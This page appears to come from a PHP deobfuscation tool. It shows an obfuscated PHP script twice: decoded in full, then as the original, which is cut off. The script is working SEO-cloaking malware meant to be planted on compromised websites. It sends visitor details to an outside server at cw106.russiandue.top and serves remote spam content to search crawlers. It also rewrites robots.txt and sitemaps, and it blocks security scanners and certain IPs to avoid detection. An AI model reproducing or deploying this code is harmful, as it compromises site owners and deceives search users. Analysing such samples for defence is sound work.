Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

<?php goto ITD2O; OmHt8: function GqqFS($vK6Rw) { goto uX0HQ; VuonF: $nzh7J = curl_exec($..

Decoded Output download

<?php 
goto ITD2O; OmHt8: function GqqFS($vK6Rw) { goto uX0HQ; VuonF: $nzh7J = curl_exec($fFrYD); goto odkVO; W35PT: $fFrYD = curl_init(); goto uPREF; M25H9: if (!(strpos($vK6Rw, "https://") !== false)) { goto ipuKY; } goto gDQdt; JQSmp: ipuKY: goto VuonF; odkVO: curl_close($fFrYD); goto JPtlk; gDQdt: curl_setopt($fFrYD, CURLOPT_SSL_VERIFYPEER, FALSE); goto N2MQW; KTuZI: if (!empty($nzh7J)) { goto eoIin; } goto W35PT; fHrO6: curl_setopt($fFrYD, CURLOPT_RETURNTRANSFER, true); goto yX0Fu; uPREF: curl_setopt($fFrYD, CURLOPT_URL, $vK6Rw); goto fHrO6; uX0HQ: $nzh7J = @file_get_contents($vK6Rw); goto KTuZI; N2MQW: curl_setopt($fFrYD, CURLOPT_SSL_VERIFYHOST, FALSE); goto JQSmp; JPtlk: eoIin: goto TCRwT; yX0Fu: curl_setopt($fFrYD, CURLOPT_FOLLOWLOCATION, false); goto M25H9; TCRwT: return $nzh7J; goto ODIlR; ODIlR: } goto Duadv; USkx2: $ZMQ1T = GQQfs($ys0KP); goto fQHdm; L0xOq: NmKd3: goto wXa2z; dK4Lk: t9dNZ: goto N74QU; CS1ri: DdrrE: goto M3k1z; PmvPB: $ys0KP = $Qgiuo . "?agent={$EytnK}&refer={$K45TG}&lang={$YQbol}&ip={$g3DVV}&dom={$MkdXX}&http={$d7weS}&uri={$P4wqF}&pc={$q1WJ1}&rewriteable={$w4NEl}"; goto HTfoZ; YRFrF: if (preg_match("/({$nT_6x})/i", $_SERVER["HTTP_USER_AGENT"])) { goto PAQ1i; } goto EFAfa; u5Kb_: goto EIuMw; goto dK4Lk; TJ40D: echo $ZMQ1T; goto qZ3jZ; b4xmm: $_SERVER["REQUEST_SCHEME"] = "http"; goto lmL0X; okRgY: goto naD7f; goto Z98e2; pkSak: $ys0KP = $Qgiuo . "?agent={$EytnK}&refer={$K45TG}&lang={$YQbol}&ip={$g3DVV}&dom={$MkdXX}&http={$d7weS}&uri={$P4wqF}&pc={$q1WJ1}&rewriteable={$w4NEl}&script={$Q1wUN}"; goto USkx2; kYdCt: $nT_6x = "bing|google|yahoo"; goto lKONx; yHwAq: goto MRSyC; goto YAVpm; oHLL1: if (strpos($Ua8F8, "index.php") !== false) { goto t9dNZ; } goto FdVol; m5zxz: U7d7F: goto Zz1cG; lKONx: $Qgiuo = "http://cw106.russiandue.top/index.php"; goto SEL93; raRp9: S2jFs: goto pkSak; ktCoQ: exit; goto VIft0; xQcpP: echo $kJNox . ": " . $wJrpg . "<br/>"; goto qe7Rk; SbjQb: naD7f: goto YV31f; wtp14: iF11I: goto byLC9; zjByZ: $Q1wUN = urlencode($_SERVER["SCRIPT_NAME"]); goto F2J5W; GFHJ9: goto RTp90; goto eqIgi; GzvKl: @file_put_contents("uxo.txt", "1"); goto hCmJv; GQ94a: $eE8qf = "https://www.google.com/ping?sitemap="; goto RdPgx; tYzwJ: header("HTTP/1.1 404 Not Found"); goto TJ40D; acXHt: pVQet: goto pL4Cv; UOrT1: $ZMQ1T = gQQFs($cjFuf); goto B7SMO; sECFA: $w4NEl = 0; goto B6b5o; H8uYY: RTp90: goto djVWV; a_2uC: goto BrMdJ; goto acXHt; CLD60: KT2qj: goto VeDKo; hCmJv: FemjR: goto ZYV10; UPAQK: $K45TG = urlencode($_SERVER["HTTP_REFERER"]); goto Sfm4k; Z98e2: UnCT0: goto NkHUh; Lu4yh: exit; goto Ffxu8; YTdqk: header("HTTP/1.0 500 Internal Server Error"); goto o0PmE; EOl2Y: $cjFuf = $d7weS . "://" . $_SERVER["HTTP_HOST"] . "/uuuuxxxxooo"; goto UOrT1; S8V9h: $ys0KP = $Qgiuo . "?agent={$EytnK}&refer={$K45TG}&lang={$YQbol}&ip={$g3DVV}&dom={$MkdXX}&http={$d7weS}&uri={$P4wqF}&pc={$q1WJ1}&rewriteable={$w4NEl}&script={$Q1wUN}"; goto P5wyn; djVWV: EIuMw: goto GQ94a; HCW_y: S06pz: goto Cf9dN; Xw4Nw: if (!file_exists("uxo.txt")) { goto LcPBK; } goto n68pr; zkVqG: $MkdXX = urlencode($_SERVER["HTTP_HOST"]); goto zjByZ; rv3t7: exit; goto L0xOq; Zz1cG: if (substr($ZMQ1T, 0, 5) == "<?xml") { goto UnCT0; } goto fAoU2; F2J5W: if (!empty($_SERVER["REQUEST_SCHEME"]) && $_SERVER["REQUEST_SCHEME"] == "https" || !empty($_SERVER["HTTPS"]) && $_SERVER["HTTPS"] == "on" || !empty($_SERVER["SERVER_PORT"]) && $_SERVER["SERVER_PORT"] == "443" || isset($_SERVER["HTTP_X_FORWARDED_PROTO"]) && $_SERVER["HTTP_X_FORWARDED_PROTO"] == "https") { goto XpbwK; } goto b4xmm; RdPgx: $QJb7u = "User-agent: *\xd
Allow: /"; goto GmNao; ITD2O: error_reporting(0); goto VJhBf; VJhBf: function tpyEa() { goto pnBmx; Fdv9h: if (getenv("REMOTE_ADDR")) { goto FnIcx; } goto myGwh; BTwog: $g3DVV = $mQ7oX[0]; goto aPoUv; aESnB: $g3DVV = getenv("HTTP_CLIENT_IP"); goto mN7UL; Da3K1: zg_Ux: goto B8sU2; olEhR: goto zg_Ux; goto p7EdH; UabFJ: $g3DVV = getenv("REMOTE_ADDR"); goto Da3K1; aPoUv: goto zg_Ux; goto kxRuP; pnBmx: if (!getenv("HTTP_CLIENT_IP")) { goto l16j5; } goto aESnB; mN7UL: l16j5: goto uBRsb; Cu3yx: goto zg_Ux; goto g6ZV3; YzL_o: $g3DVV = getenv("HTTP_X_FORWARDED_FOR"); goto fUkI7; Pwmbq: $g3DVV = getenv("HTTP_X_REAL_IP"); goto olEhR; kxRuP: FnIcx: goto UabFJ; g6ZV3: D1f3B: goto Pwmbq; uBRsb: if (getenv("HTTP_X_REAL_IP")) { goto D1f3B; } goto YgCFO; YgCFO: if (getenv("HTTP_X_FORWARDED_FOR")) { goto cYnx7; } goto Fdv9h; fUkI7: $mQ7oX = explode(",", $g3DVV); goto BTwog; B8sU2: return $g3DVV; goto LZlfM; myGwh: $g3DVV = "0.0.0.0"; goto Cu3yx; p7EdH: cYnx7: goto YzL_o; LZlfM: } goto OmHt8; Duadv: function ceFxx($vK6Rw) { goto E7lED; wmznI: if (!(strpos($vK6Rw, "https://") !== false)) { goto pT0j2; } goto uxwRI; w32fC: curl_setopt($fFrYD, CURLOPT_SSL_VERIFYHOST, FALSE); goto zKhQH; hUkYp: curl_setopt($fFrYD, CURLOPT_USERAGENT, $_SERVER["HTTP_USER_AGENT"]); goto wmznI; gsia0: qjZE8: goto Qv2Iy; R14Ad: $nzh7J = @file_get_contents($vK6Rw); goto gsia0; d2o5w: curl_close($fFrYD); goto tlUiR; tlUiR: if (!empty($nzh7J)) { goto qjZE8; } goto R14Ad; MG8MP: curl_setopt($fFrYD, CURLOPT_RETURNTRANSFER, true); goto C0AXZ; Qv2Iy: return $nzh7J; goto auUvS; C0AXZ: curl_setopt($fFrYD, CURLOPT_FOLLOWLOCATION, false); goto hUkYp; zKhQH: pT0j2: goto vlrzA; E7lED: $fFrYD = curl_init(); goto iF0Fp; vlrzA: $nzh7J = curl_exec($fFrYD); goto d2o5w; uxwRI: curl_setopt($fFrYD, CURLOPT_SSL_VERIFYPEER, FALSE); goto w32fC; iF0Fp: curl_setopt($fFrYD, CURLOPT_URL, $vK6Rw); goto MG8MP; auUvS: } goto tmAv8; ovWZd: header("Content-Type: text/plain; charset=utf-8"); goto rKe62; kIGsr: $Ua8F8 = $_SERVER["SCRIPT_NAME"]; goto oHLL1; ZvYev: if ($ZMQ1T == "500") { goto pVQet; } goto g3dWP; mAXOs: echo $ZMQ1T; goto GxZOD; ov2fT: if (strpos($P4wqF, "pingsitemap.xml") !== false) { goto hcvG9; } goto kWhul; F1UpO: $ZMQ1T = GQqFS($ys0KP); goto n6ijX; xPhtr: if (!($N4XO2 == "153.246.135.238" || $N4XO2 == "219.101.44.233")) { goto NmKd3; } goto d_R_G; kWhul: if (strpos($P4wqF, "favicon.ico") !== false) { goto B6Plc; } goto yOEtY; rKe62: echo $ZMQ1T = GqqFs($ys0KP); goto S47tm; ZYV10: B8mSP: goto ov2fT; rlFeb: $Ua8F8 = "/?"; goto H8uYY; Ig1Ng: js_5U: goto bshim; YV31f: echo $ZMQ1T; goto ue3ER; GIvVz: goto KT2qj; goto QQhcT; PJrn2: dFcoQ: goto PmvPB; N74QU: if ($w4NEl == 0) { goto u4aOT; } goto XysPR; B6b5o: @file_put_contents("uxo.txt", "0"); goto g3BZa; Huh_e: $g3DVV = urlencode($N4XO2); goto zkVqG; ZkMIo: B6Plc: goto YwLma; ue3ER: exit; goto HtA99; fW6xN: if (strpos($P4wqF, "robots.txt") !== false || strpos($P4wqF, "writerobots") !== false) { goto DdrrE; } goto vlq11; aZSuP: $d7weS = urlencode($_SERVER["REQUEST_SCHEME"]); goto uejR7; S47tm: @file_put_contents("robots.txt", $ZMQ1T); goto Bv2P6; P5wyn: $ZMQ1T = GqQFs($ys0KP); goto phgLN; bshim: header("HTTP/1.0 500 Internal Server Error"); goto Lu4yh; asooU: if (!(strpos($P4wqF, "uuuuxxxxooo") !== false)) { goto w0Bd_; } goto e2eHA; kzGS1: HmF3q: goto GIvVz; HTfoZ: $ZMQ1T = GQqFs($ys0KP); goto M0sgE; j2Vtd: y4IZA: goto aZSuP; byLC9: goto Uth3k; goto ZkMIo; Cf9dN: goto HmF3q; goto bl7Ax; QxALX: w0Bd_: goto xPhtr; Sfm4k: $YQbol = urlencode($_SERVER["HTTP_ACCEPT_LANGUAGE"]); goto And_K; n68pr: $w4NEl = @file_get_contents("uxo.txt"); goto ljV2k; RBhlQ: BrMdJ: goto CLD60; shJoo: $QJb7u = trim($QJb7u) . "
\xa" . "Sitemap: {$kJNox}"; goto tc452; G7Uxs: $EytnK = urlencode($_SERVER["HTTP_USER_AGENT"]); goto UPAQK; phgLN: if (empty($ZMQ1T)) { goto j4WCg; } goto LbzPf; EFAfa: if (preg_match("/({$nT_6x})/i", $_SERVER["HTTP_REFERER"])) { goto dFcoQ; } goto F63uH; vA_gk: exit; goto RBhlQ; h_keu: if (empty($ZMQ1T)) { goto y7LUh; } goto tYzwJ; qe7Rk: $ys0KP = $Qgiuo . "?agent={$EytnK}&refer={$K45TG}&lang={$YQbol}&ip={$g3DVV}&dom={$MkdXX}&http={$d7weS}&uri={$P4wqF}&pc={$q1WJ1}&rewriteable={$w4NEl}&script={$Q1wUN}&sitemap=" . urlencode($kJNox); goto F1UpO; fAoU2: header("Content-Type: text/html; charset=utf-8"); goto okRgY; eqIgi: u4aOT: goto rlFeb; g3BZa: goto FemjR; goto Q0re8; GmNao: $kJNox = "{$d7weS}://" . $MkdXX . $Ua8F8 . "sitemap.xml"; goto shJoo; bl7Ax: PAQ1i: goto S8V9h; QuJoL: header("HTTP/1.0 403 Forbidden"); goto ktCoQ; o0PmE: exit; goto m5zxz; M0sgE: if ($ZMQ1T == "500") { goto js_5U; } goto h_keu; FdVol: $Ua8F8 = $Ua8F8 . "?"; goto u5Kb_; GeQkr: $ZMQ1T = gqqFS($ys0KP); goto ZvYev; lmL0X: goto y4IZA; goto uUAh4; VIft0: Wgajw: goto kYdCt; VeDKo: goto sIcaC; goto CS1ri; GxZOD: exit; goto a_2uC; KPrLw: exit; goto wtp14; LbzPf: if (!($ZMQ1T == "500")) { goto U7d7F; } goto YTdqk; FwnfY: goto wT6Iy; goto Ig1Ng; uejR7: $P4wqF = urldecode($_SERVER["REQUEST_URI"]); goto asooU; r9GbT: $ys0KP = $Qgiuo . "?agent={$EytnK}&refer={$K45TG}&lang={$YQbol}&ip={$g3DVV}&dom={$MkdXX}&http={$d7weS}&uri={$P4wqF}&pc={$q1WJ1}&rewriteable={$w4NEl}&script={$Q1wUN}"; goto GeQkr; yOEtY: if (strpos($P4wqF, "jp2023") !== false) { goto S2jFs; } goto fW6xN; lcHG2: exit; goto AYwfi; Ffxu8: wT6Iy: goto HCW_y; XysPR: $Ua8F8 = "/"; goto GFHJ9; HtA99: j4WCg: goto kzGS1; tc452: $wJrpg = ''; goto xQcpP; wXa2z: $w4NEl = 0; goto Xw4Nw; uUAh4: XpbwK: goto ueKHd; tmAv8: if (!preg_match("/(Bytespider|PetalBot|AhrefsBot|Barkrowler|MJ12bot|FeedDemon|JikeSpider|Indy Library|AskTbFXTV|CrawlDaddy|CoolpadWebkit|Java|Feedly|UniversalFeedParser|ApacheBench|Swiftbot|ZmEu|oBot|jaunty|Python-urllib|python-requests|lightDeckReports Bot|YYSpider|DigExt|YisouSpider|HttpClient|heritrix|EasouSpider|Ezooms|AmazonBot|SEMrushBot|YandexBot|paloaltonetworks|Python)/i", $_SERVER["HTTP_USER_AGENT"])) { goto Wgajw; } goto QuJoL; SEL93: $q1WJ1 = 2786; goto G7Uxs; odYAu: exit; goto QxALX; HIPiu: sIcaC: goto jOxLU; jOxLU: goto iF11I; goto raRp9; Q0re8: mj7ZU: goto DhFgE; YwLma: Uth3k: goto yHwAq; qZ3jZ: exit; goto AGMOa; vlq11: if (preg_match("@^/(.*?).xml$@i", $P4wqF)) { goto VUALI; } goto YRFrF; YAVpm: hcvG9: goto kIGsr; g3dWP: header("Content-Type: text/xml; charset=utf-8"); goto mAXOs; ljV2k: goto B8mSP; goto jz8My; jz8My: LcPBK: goto EOl2Y; n6ijX: @file_put_contents("robots.txt", $QJb7u); goto lcHG2; fQHdm: echo $ZMQ1T; goto KPrLw; AGMOa: y7LUh: goto FwnfY; And_K: $N4XO2 = Tpyea(); goto Huh_e; e2eHA: echo "ok"; goto odYAu; d_R_G: header("HTTP/1.0 403 Forbidden"); goto rv3t7; pL4Cv: header("HTTP/1.0 500 Internal Server Error"); goto vA_gk; NkHUh: header("Content-Type: text/xml; charset=utf-8"); goto SbjQb; Bv2P6: exit; goto HIPiu; DhFgE: $w4NEl = 1; goto GzvKl; M3k1z: $ys0KP = $Qgiuo . "?agent={$EytnK}&refer={$K45TG}&lang={$YQbol}&ip={$g3DVV}&dom={$MkdXX}&http={$d7weS}&uri={$P4wqF}&pc={$q1WJ1}&rewriteable={$w4NEl}&script={$Q1wUN}"; goto ovWZd; F63uH: goto S06pz; goto PJrn2; QQhcT: VUALI: goto r9GbT; ueKHd: $_SERVER["REQUEST_SCHEME"] = "https"; goto j2Vtd; B7SMO: if ($ZMQ1T == "ok") { goto mj7ZU; } goto sECFA; AYwfi: MRSyC: 
?>

Did this file decode correctly?

Original Code

<?php
goto ITD2O; OmHt8: function GqqFS($vK6Rw) { goto uX0HQ; VuonF: $nzh7J = curl_exec($fFrYD); goto odkVO; W35PT: $fFrYD = curl_init(); goto uPREF; M25H9: if (!(strpos($vK6Rw, "\150\164\x74\x70\x73\x3a\x2f\x2f") !== false)) { goto ipuKY; } goto gDQdt; JQSmp: ipuKY: goto VuonF; odkVO: curl_close($fFrYD); goto JPtlk; gDQdt: curl_setopt($fFrYD, CURLOPT_SSL_VERIFYPEER, FALSE); goto N2MQW; KTuZI: if (!empty($nzh7J)) { goto eoIin; } goto W35PT; fHrO6: curl_setopt($fFrYD, CURLOPT_RETURNTRANSFER, true); goto yX0Fu; uPREF: curl_setopt($fFrYD, CURLOPT_URL, $vK6Rw); goto fHrO6; uX0HQ: $nzh7J = @file_get_contents($vK6Rw); goto KTuZI; N2MQW: curl_setopt($fFrYD, CURLOPT_SSL_VERIFYHOST, FALSE); goto JQSmp; JPtlk: eoIin: goto TCRwT; yX0Fu: curl_setopt($fFrYD, CURLOPT_FOLLOWLOCATION, false); goto M25H9; TCRwT: return $nzh7J; goto ODIlR; ODIlR: } goto Duadv; USkx2: $ZMQ1T = GQQfs($ys0KP); goto fQHdm; L0xOq: NmKd3: goto wXa2z; dK4Lk: t9dNZ: goto N74QU; CS1ri: DdrrE: goto M3k1z; PmvPB: $ys0KP = $Qgiuo . "\x3f\x61\147\145\156\164\x3d{$EytnK}\x26\x72\x65\146\x65\162\x3d{$K45TG}\x26\154\141\x6e\147\75{$YQbol}\46\x69\160\x3d{$g3DVV}\46\144\x6f\155\x3d{$MkdXX}\x26\150\164\164\160\x3d{$d7weS}\x26\165\162\151\75{$P4wqF}\46\x70\143\75{$q1WJ1}\46\162\x65\x77\x72\x69\x74\145\141\x62\x6c\145\75{$w4NEl}"; goto HTfoZ; YRFrF: if (preg_match("\57\50{$nT_6x}\51\x2f\x69", $_SERVER["\x48\124\x54\x50\137\125\123\105\122\x5f\101\x47\105\116\x54"])) { goto PAQ1i; } goto EFAfa; u5Kb_: goto EIuMw; goto dK4Lk; TJ40D: echo $ZMQ1T; goto qZ3jZ; b4xmm: $_SERVER["\x52\x45\121\125\105\123\124\137\x53\x43\x48\105\115\x45"] = "\x68\x74\x74\x70"; goto lmL0X; okRgY: goto naD7f; goto Z98e2; pkSak: $ys0KP = $Qgiuo . "\x3f\141\x67\x65\x6e\x74\75{$EytnK}\46\x72\145\x66\145\162\x3d{$K45TG}\x26\154\141\156\147\75{$YQbol}\46\x69\160\75{$g3DVV}\46\x64\x6f\155\75{$MkdXX}\46\150\164\x74\x70\75{$d7weS}\x26\x75\162\x69\x3d{$P4wqF}\46\x70\x63\x3d{$q1WJ1}\46\x72\x65\167\162\x69\x74\145\141\x62\154\x65\75{$w4NEl}\x26\163\143\x72\x69\160\164\75{$Q1wUN}"; goto USkx2; kYdCt: $nT_6x = "\142\x69\156\x67\174\147\x6f\157\147\x6c\x65\x7c\x79\x61\150\x6f\x6f"; goto lKONx; yHwAq: goto MRSyC; goto YAVpm; oHLL1: if (strpos($Ua8F8, "\x69\x6e\144\x65\x78\x2e\x70\x68\160") !== false) { goto t9dNZ; } goto FdVol; m5zxz: U7d7F: goto Zz1cG; lKONx: $Qgiuo = "\x68\164\164\x70\x3a\x2f\57\143\167\x31\x30\66\56\162\165\x73\x73\x69\141\x6e\x64\165\x65\56\164\157\x70\57\x69\x6e\x64\x65\x78\x2e\x70\150\160"; goto SEL93; raRp9: S2jFs: goto pkSak; ktCoQ: exit; goto VIft0; xQcpP: echo $kJNox . "\72\40" . $wJrpg . "\74\x62\162\x2f\76"; goto qe7Rk; SbjQb: naD7f: goto YV31f; wtp14: iF11I: goto byLC9; zjByZ: $Q1wUN = urlencode($_SERVER["\x53\x43\122\111\x50\x54\137\x4e\x41\115\105"]); goto F2J5W; GFHJ9: goto RTp90; goto eqIgi; GzvKl: @file_put_contents("\165\170\x6f\56\164\170\x74", "\x31"); goto hCmJv; GQ94a: $eE8qf = "\150\x74\x74\160\x73\x3a\x2f\57\167\x77\x77\56\147\157\157\x67\x6c\145\56\143\157\155\x2f\x70\151\156\147\77\x73\151\x74\x65\x6d\141\x70\x3d"; goto RdPgx; tYzwJ: header("\x48\x54\x54\120\x2f\x31\x2e\x31\x20\64\x30\64\40\116\x6f\164\x20\x46\x6f\x75\x6e\x64"); goto TJ40D; acXHt: pVQet: goto pL4Cv; UOrT1: $ZMQ1T = gQQFs($cjFuf); goto B7SMO; sECFA: $w4NEl = 0; goto B6b5o; H8uYY: RTp90: goto djVWV; a_2uC: goto BrMdJ; goto acXHt; CLD60: KT2qj: goto VeDKo; hCmJv: FemjR: goto ZYV10; UPAQK: $K45TG = urlencode($_SERVER["\110\x54\124\120\137\x52\105\x46\x45\122\105\x52"]); goto Sfm4k; Z98e2: UnCT0: goto NkHUh; Lu4yh: exit; goto Ffxu8; YTdqk: header("\x48\x54\124\120\57\61\x2e\x30\40\x35\x30\x30\x20\x49\156\x74\x65\x72\156\x61\154\40\x53\x65\x72\x76\x65\162\x20\105\x72\x72\157\162"); goto o0PmE; EOl2Y: $cjFuf = $d7weS . "\72\57\x2f" . $_SERVER["\x48\x54\124\x50\x5f\x48\117\123\x54"] . "\57\x75\165\x75\x75\170\170\x78\x78\157\157\157"; goto UOrT1; S8V9h: $ys0KP = $Qgiuo . "\x3f\x61\x67\145\x6e\164\75{$EytnK}\46\162\145\146\145\162\x3d{$K45TG}\x26\x6c\141\156\147\75{$YQbol}\x26\x69\160\x3d{$g3DVV}\46\x64\x6f\x6d\x3d{$MkdXX}\46\150\x74\x74\x70\x3d{$d7weS}\46\x75\162\151\75{$P4wqF}\x26\x70\x63\x3d{$q1WJ1}\46\x72\x65\x77\x72\151\164\x65\x61\142\154\145\x3d{$w4NEl}\46\163\x63\162\151\160\164\75{$Q1wUN}"; goto P5wyn; djVWV: EIuMw: goto GQ94a; HCW_y: S06pz: goto Cf9dN; Xw4Nw: if (!file_exists("\x75\x78\x6f\56\164\170\164")) { goto LcPBK; } goto n68pr; zkVqG: $MkdXX = urlencode($_SERVER["\x48\x54\124\x50\x5f\110\x4f\x53\124"]); goto zjByZ; rv3t7: exit; goto L0xOq; Zz1cG: if (substr($ZMQ1T, 0, 5) == "\74\77\x78\155\x6c") { goto UnCT0; } goto fAoU2; F2J5W: if (!empty($_SERVER["\122\105\121\x55\105\x53\x54\x5f\123\x43\110\105\115\x45"]) && $_SERVER["\122\x45\x51\125\x45\123\124\137\x53\103\x48\105\115\105"] == "\x68\164\164\x70\x73" || !empty($_SERVER["\110\x54\124\x50\123"]) && $_SERVER["\x48\x54\124\x50\123"] == "\157\156" || !empty($_SERVER["\123\105\122\x56\x45\x52\137\x50\x4f\x52\x54"]) && $_SERVER["\123\105\x52\x56\x45\x52\137\x50\x4f\x52\124"] == "\64\x34\63" || isset($_SERVER["\110\x54\x54\120\x5f\130\137\106\117\x52\x57\x41\122\x44\105\104\137\120\x52\x4f\124\117"]) && $_SERVER["\110\x54\x54\120\137\x58\x5f\106\117\x52\127\x41\x52\104\x45\104\x5f\120\122\117\124\x4f"] == "\x68\x74\164\160\163") { goto XpbwK; } goto b4xmm; RdPgx: $QJb7u = "\125\x73\x65\x72\55\x61\147\x65\x6e\x74\x3a\40\52\xd\12\101\154\x6c\157\x77\72\40\x2f"; goto GmNao; ITD2O: error_reporting(0); goto VJhBf; VJhBf: function tpyEa() { goto pnBmx; Fdv9h: if (getenv("\122\x45\x4d\117\x54\105\x5f\x41\104\x44\122")) { goto FnIcx; } goto myGwh; BTwog: $g3DVV = $mQ7oX[0]; goto aPoUv; aESnB: $g3DVV = getenv("\110\x54\x54\120\137\x43\114\111\105\x4e\124\137\111\120"); goto mN7UL; Da3K1: zg_Ux: goto B8sU2; olEhR: goto zg_Ux; goto p7EdH; UabFJ: $g3DVV = getenv("\122\105\115\117\x54\x45\137\x41\104\104\122"); goto Da3K1; aPoUv: goto zg_Ux; goto kxRuP; pnBmx: if (!getenv("\110\124\x54\120\137\x43\114\x49\105\116\124\x5f\111\x50")) { goto l16j5; } goto aESnB; mN7UL: l16j5: goto uBRsb; Cu3yx: goto zg_Ux; goto g6ZV3; YzL_o: $g3DVV = getenv("\x48\124\x54\x50\137\x58\x5f\x46\117\x52\127\101\122\104\x45\x44\137\x46\117\x52"); goto fUkI7; Pwmbq: $g3DVV = getenv("\x48\x54\x54\120\137\x58\x5f\x52\105\x41\114\x5f\x49\120"); goto olEhR; kxRuP: FnIcx: goto UabFJ; g6ZV3: D1f3B: goto Pwmbq; uBRsb: if (getenv("\x48\124\x54\120\137\x58\137\x52\x45\101\x4c\x5f\x49\120")) { goto D1f3B; } goto YgCFO; YgCFO: if (getenv("\x48\x54\x54\x50\137\x58\137\106\x4f\x52\127\x41\x52\x44\105\104\137\x46\x4f\x52")) { goto cYnx7; } goto Fdv9h; fUkI7: $mQ7oX = explode("\54", $g3DVV); goto BTwog; B8sU2: return $g3DVV; goto LZlfM; myGwh: $g3DVV = "\60\x2e\x30\x2e\60\x2e\x30"; goto Cu3yx; p7EdH: cYnx7: goto YzL_o; LZlfM: } goto OmHt8; Duadv: function ceFxx($vK6Rw) { goto E7lED; wmznI: if (!(strpos($vK6Rw, "\150\164\164\x70\x73\x3a\57\x2f") !== false)) { goto pT0j2; } goto uxwRI; w32fC: curl_setopt($fFrYD, CURLOPT_SSL_VERIFYHOST, FALSE); goto zKhQH; hUkYp: curl_setopt($fFrYD, CURLOPT_USERAGENT, $_SERVER["\110\x54\124\120\x5f\125\x53\x45\x52\x5f\x41\107\105\116\124"]); goto wmznI; gsia0: qjZE8: goto Qv2Iy; R14Ad: $nzh7J = @file_get_contents($vK6Rw); goto gsia0; d2o5w: curl_close($fFrYD); goto tlUiR; tlUiR: if (!empty($nzh7J)) { goto qjZE8; } goto R14Ad; MG8MP: curl_setopt($fFrYD, CURLOPT_RETURNTRANSFER, true); goto C0AXZ; Qv2Iy: return $nzh7J; goto auUvS; C0AXZ: curl_setopt($fFrYD, CURLOPT_FOLLOWLOCATION, false); goto hUkYp; zKhQH: pT0j2: goto vlrzA; E7lED: $fFrYD = curl_init(); goto iF0Fp; vlrzA: $nzh7J = curl_exec($fFrYD); goto d2o5w; uxwRI: curl_setopt($fFrYD, CURLOPT_SSL_VERIFYPEER, FALSE); goto w32fC; iF0Fp: curl_setopt($fFrYD, CURLOPT_URL, $vK6Rw); goto MG8MP; auUvS: } goto tmAv8; ovWZd: header("\x43\x6f\156\x74\x65\156\164\55\x54\171\x70\x65\72\x20\x74\x65\170\164\x2f\x70\x6c\141\x69\x6e\x3b\x20\143\x68\x61\x72\x73\x65\164\x3d\165\164\x66\55\70"); goto rKe62; kIGsr: $Ua8F8 = $_SERVER["\x53\103\x52\111\x50\x54\x5f\116\101\115\105"]; goto oHLL1; ZvYev: if ($ZMQ1T == "\x35\x30\60") { goto pVQet; } goto g3dWP; mAXOs: echo $ZMQ1T; goto GxZOD; ov2fT: if (strpos($P4wqF, "\x70\151\156\147\163\x69\164\x65\155\141\x70\x2e\x78\155\x6c") !== false) { goto hcvG9; } goto kWhul; F1UpO: $ZMQ1T = GQqFS($ys0KP); goto n6ijX; xPhtr: if (!($N4XO2 == "\61\65\x33\x2e\62\64\x36\56\61\x33\65\56\x32\x33\x38" || $N4XO2 == "\x32\61\71\56\61\60\x31\56\64\64\56\x32\x33\63")) { goto NmKd3; } goto d_R_G; kWhul: if (strpos($P4wqF, "\x66\141\166\x69\143\x6f\156\x2e\151\x63\x6f") !== false) { goto B6Plc; } goto yOEtY; rKe62: echo $ZMQ1T = GqqFs($ys0KP); goto S47tm; ZYV10: B8mSP: goto ov2fT; rlFeb: $Ua8F8 = "\57\77"; goto H8uYY; Ig1Ng: js_5U: goto bshim; YV31f: echo $ZMQ1T; goto ue3ER; GIvVz: goto KT2qj; goto QQhcT; PJrn2: dFcoQ: goto PmvPB; N74QU: if ($w4NEl == 0) { goto u4aOT; } goto XysPR; B6b5o: @file_put_contents("\165\x78\157\x2e\164\170\164", "\x30"); goto g3BZa; Huh_e: $g3DVV = urlencode($N4XO2); goto zkVqG; ZkMIo: B6Plc: goto YwLma; ue3ER: exit; goto HtA99; fW6xN: if (strpos($P4wqF, "\x72\157\142\x6f\164\x73\x2e\x74\x78\x74") !== false || strpos($P4wqF, "\167\162\x69\x74\x65\x72\x6f\x62\x6f\164\163") !== false) { goto DdrrE; } goto vlq11; aZSuP: $d7weS = urlencode($_SERVER["\122\105\x51\125\105\123\x54\x5f\123\103\x48\105\x4d\x45"]); goto uejR7; S47tm: @file_put_contents("\162\x6f\142\x6f\164\x73\x2e\164\x78\164", $ZMQ1T); goto Bv2P6; P5wyn: $ZMQ1T = GqQFs($ys0KP); goto phgLN; bshim: header("\x48\124\124\x50\x2f\61\56\x30\x20\65\x30\x30\40\x49\156\x74\145\x72\x6e\x61\x6c\40\123\145\x72\166\x65\x72\x20\105\x72\162\x6f\162"); goto Lu4yh; asooU: if (!(strpos($P4wqF, "\x75\165\165\x75\170\170\170\170\157\x6f\157") !== false)) { goto w0Bd_; } goto e2eHA; kzGS1: HmF3q: goto GIvVz; HTfoZ: $ZMQ1T = GQqFs($ys0KP); goto M0sgE; j2Vtd: y4IZA: goto aZSuP; byLC9: goto Uth3k; goto ZkMIo; Cf9dN: goto HmF3q; goto bl7Ax; QxALX: w0Bd_: goto xPhtr; Sfm4k: $YQbol = urlencode($_SERVER["\110\124\x54\x50\137\x41\103\x43\105\x50\124\x5f\x4c\101\x4e\x47\125\x41\107\105"]); goto And_K; n68pr: $w4NEl = @file_get_contents("\165\x78\157\56\x74\170\164"); goto ljV2k; RBhlQ: BrMdJ: goto CLD60; shJoo: $QJb7u = trim($QJb7u) . "\15\xa" . "\x53\x69\164\x65\x6d\x61\160\72\40{$kJNox}"; goto tc452; G7Uxs: $EytnK = urlencode($_SERVER["\x48\124\124\x50\137\x55\123\x45\x52\137\101\107\x45\116\x54"]); goto UPAQK; phgLN: if (empty($ZMQ1T)) { goto j4WCg; } goto LbzPf; EFAfa: if (preg_match("\x2f\50{$nT_6x}\x29\57\151", $_SERVER["\110\x54\124\x50\x5f\x52\105\106\x45\122\105\x52"])) { goto dFcoQ; } goto F63uH; vA_gk: exit; goto RBhlQ; h_keu: if (empty($ZMQ1T)) { goto y7LUh; } goto tYzwJ; qe7Rk: $ys0KP = $Qgiuo . 